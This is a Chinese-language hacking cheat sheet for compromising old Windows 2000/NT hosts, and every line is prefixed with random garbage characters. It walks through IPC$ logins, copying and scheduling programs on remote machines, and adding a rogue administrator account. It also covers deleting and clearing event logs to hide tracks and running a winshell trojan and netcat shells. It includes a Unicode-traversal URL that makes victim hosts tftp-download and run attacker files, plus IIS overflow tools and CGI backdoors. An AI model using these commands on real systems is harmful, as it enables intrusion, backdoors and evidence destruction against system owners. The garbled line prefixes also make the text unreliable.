网管和黑客都必须知道的命令
f/670Acv 常用的几条NET命令：
K6 c[ W%Va E]0Qz?
W （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
`4 -m$ab 9cQ;h37J> （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
'3iJ q 9 2.
f8uq （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
W=I~GhM VK%
j45D ` （查看远程主机时间） net time \\IP地址
J]5ZWo% 4"s/T0C （定时启动某个程序） at \\IP地址 02:18 readme.exe
9.wZhcqqU qoSZ+ khS$ （查看共享） net view \\IP地址
FVWHiwRU, d 0 mfqP= （查看netbios工作组列表） nbtstat -A IP地址
gTk*v0WBm v,jB(B^|Z （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
Ao, <G.>R 'DD~xCXE （这两条把自己增加到管理员组）： net user 用户名 密码 /add
i>
dLp 3/Dis)
v8 net localgroup Administrators 用户名 /add
KvumU>c#A N=j$~,yG （断开连接） net use \\IP地址\ipc$ /delete
o('6,D H`nd | 扫尾：
*})Np0k !X\aZ{}Q del C:\winnt\system32\logfiles\*.*
d Z x N>IkK*v del C:\winnt\ssytem32\config\*.evt
BeFXC5-qat \ t]_UNGyW del C:\winnt\system32\dtclog\*.*
U
nS|"" tja7y"(] del C:\winnt\system32\*.log
xTy)qN]P `8kL=%(h del C:\winnt\system32\*.txt
T~~K~a \8 3 (F+\4aRm del C:\winnt\*.txt
Q6r7UM >/'/^ h del C:\winnt\*.log
Pv\-D<&@m oO9yI^ 一、netsvc.exe
GHFYIor &%4A3.qE 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
2+ |U!X #kp +e)F netsvc /list \\IP地址
/\U:F %$F_ oO7" netsvc schedule \\IP地址 /query
X<d`!,bn@
[ 0H]L{yV netsvc \\IP地址 schedule /start
(H-kWT BOme`0A 二、OpenTelnet.exe
?>q5Abp[ SHQgI<D7 远程启动主机的Telnet服务，并绑定端口到7878，例如：
z
q@"qnr 9`Xr7gmQf OpenTelnet \\IP地址 用户名 密码 1 7878
GriFb]ml" %JuT'7VB 然后就可以telnet到主机的7878端口，进入DOS方式下：
~8Ez K_c o) M<^b3KO telnet IP地址 7878
Wb;D9Z Nuaq{cl 三、winshell.exe
V82hk0*j (/C
8\}Ox 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
s'$3bLcb k < p Path （查看winshell主程序的路径信息）
'
BY|7j~ Q+dLWFI b reBoot （重新启动机器）
AdWP c"pu"t@/Z d shutDown （关闭机器）
[{6fyd; k;
ned s Shell （执行后你就会看到可爱的“C:\>”）
}r|$\ms HAAU2A9B2 x eXit （退出本次登录会话，此命令并不终止winshell的运行）
V(0V$&qipc c. }#.-b8 CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
(1Klj+"p% !CR#Fyt+9 四、3389登陆器，GUI方式登录远程主机的
m[tsG=XBN T} K@ykT 五、elsave.exe
0+Q; a D/puK 事件日志清除工具
[m(n-Mu F FLLfTkXdI elsave -s \\IP地址 -l "application" -C
13f 'zx(AO K6N+0# elsave -s \\IP地址 -l "system" -C
U|+ c&TY =*KY) X elsave -s \\IP地址 -l "security" -C
!G;|~|fMV ^IO\J{U{"x 执行后成功清除应用程序日志，系统日志，安全日志
d t^Hd]+^\ .y Q< 六、hbulot.exe
K,dEa<p %Q zk aXJ 开启win2kserver和winxp的3389服务
S. !K -?vVV@W-O^ hbulot [/r]
9EWw *z)+'D*+ 使用/r表示安装完成后自动重起目标使设置生效。
co{i ~['u %:\GYs(Y 七、nc.exe(netcat.exe)
{2L V0:k2
>)VWXv0 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
+.McC$! s
0Z
jE( 3i 想要连接到某处: nc [-options] hostname port[s] [ports] ...
H6< 3'P u^( s0q 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
WP
!u3\91 Bs^p!4=
参数:
ICzcV };$ UVgDm&FF -e prog 程序重定向，一旦连接，就执行 [危险!!]
S0 ?e/VWy \ \g Aa-}: -g gateway source-routing hop point[s], up to 8
-d^c!Iu| p$a+?5'Q -G num source-routing pointer: 4, 8, 12, ...
SyI i*dH 5Vlm?mPU -h 帮助信息
UoHNKB73 cQ(,M -i secs 延时的间隔
aEdc8i ? !r4B1fX -l 监听模式，用于入站连接
h`4!Qv <"nF`'olV -n 指定数字的IP地址，不能用hostname
BKQwF *<V m.c2y6<= -o file 记录16进制的传输
x/IAc6H~_8 P7*?E * -p port 本地端口号
@-.Tgpe@a C5 =m ~ -r 任意指定本地及远程端口
E+~1GKd CQ'4 ".7 -s addr 本地源地址
6yXN7L==x D'Uv7Mis -u UDP模式
fcw/l,k9 xOKf| -v 详细输出——用两个-v可得到更详细的内容
bM"d$tl$?' @[~j|YH} -w secs timeout的时间
G@rV9 V@\A<q%jTs -z 将输入输出关掉——用于扫描时
l|fb;Giq=D 八、TFTPD32.EXE
P>_ r6C wSG!.Ejc7 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
+d=8 /3O% 8jz7t:0 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
(*Q8!"D^6 +7j7zp w 然后可以直接令文件运行：
oFp4* <\ 9HZR%s[J http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
iy [W:<c7j Je=k .pO1 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
;:8SN&). `\Te , 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
.{"wliC2 @% I-15Jz 一、一 Xscan命令行运行参数说明：
53l !$#o a4Y43 n 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
4td9=dNA+l -x+K#T0Z 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
1!A 'mkk8 !0Eo9bU%@ xscan -file <主机列表文件名> <检测项目> [其他选项]
Ev,b5KelD 'J_6SD 其中<检测项目> 含义如下:
,XsBm+Q( Jf@~/!m}' -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
<O4W!UVg =S|dzgS/ -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
Pk )H(, c:`CL<xzU -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
/N=M9i\; 73kI%nNB -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
5]Y ?NN,GR ;
e)v k| -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
hGj`IAW z;PF% F [其他选项] 含义如下:
T;{"lp. G>S3? jGk -v: 显示详细扫描进度
nO q`Cwh9 PbY=?>0 z -p: 跳过Ping不通的主机
[*d<LAnuWP P5oYv -o: 跳过没有检测到开放端口的主机
?pkGejcQ xQ>T.nP}1 -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
